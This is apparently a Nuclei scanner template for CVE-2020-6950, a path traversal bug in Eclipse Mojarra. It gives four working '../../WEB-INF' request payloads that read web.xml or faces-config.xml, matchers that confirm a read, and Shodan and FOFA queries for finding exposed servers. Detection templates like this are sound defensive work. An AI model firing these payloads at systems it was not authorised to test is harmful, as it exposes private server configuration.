id: CVE-2020-6950 info: name: Eclipse Mojarra - Local File Read author: iamnoooob,pdresearch severity: medium description: | Directory traversal in Eclipse Mojarra before 2.3.14 allows attackers to read arbitrary files via the loc parameter or con parameter. reference: - https://github.com/eclipse-ee4j/mojarra/commit/cefbb9447e7be560e59da2da6bd7cb93776f7741 - https://github.com/eclipse-ee4j/mojarra/issues/4571 - https://nvd.nist.gov/vuln/detail/CVE-2020-6950 - https://bugs.eclipse.org/bugs/show_bug.cgi?id=550943 - https://www.oracle.com/security-alerts/cpuapr2022.html classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N cvss-score: 6.5 cve-id: CVE-2020-6950 cwe-id: CWE-22 epss-score: 0.03924 epss-percentile: 0.91792 cpe: cpe:2.3:a:eclipse:mojarra:*:*:*:*:*:*:*:* metadata: verified: true max-request: 4 vendor: eclipse product: mojarra shodan-query: html:"javax.faces.resource" fofa-query: body="javax.faces.ViewState" tags: cve,cve2020,mojarra,lfi,eclipse http: - method: GET path: - "{{BaseURL}}/javax.faces.resources/web.xml.jsf?loc=/../../WEB-INF" - "{{BaseURL}}/javax.faces.resources/web.xml.jsf?con=/../../WEB-INF" - "{{BaseURL}}/javax.faces.resources/faces-config.xml.jsf?loc=/../../WEB-INF" - "{{BaseURL}}/javax.faces.resources/faces-config.xml.jsf?con=/../../WEB-INF" stop-at-first-match: true matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(header, "application/xml")' - 'contains_all(body, "<web-app", "<servlet>") || contains_all(body, "<faces-config", "</faces-config>")' condition: and # digest: 490a00463044022057bb165b69bcd6a648332fd9637fcd2daef818312700aca402b735e74e3bab7a022039da250736c313317b03ff12fb722f320b0ecfd1338eab919975feb262de5717:922c64590222798bb761d5b6d8e72950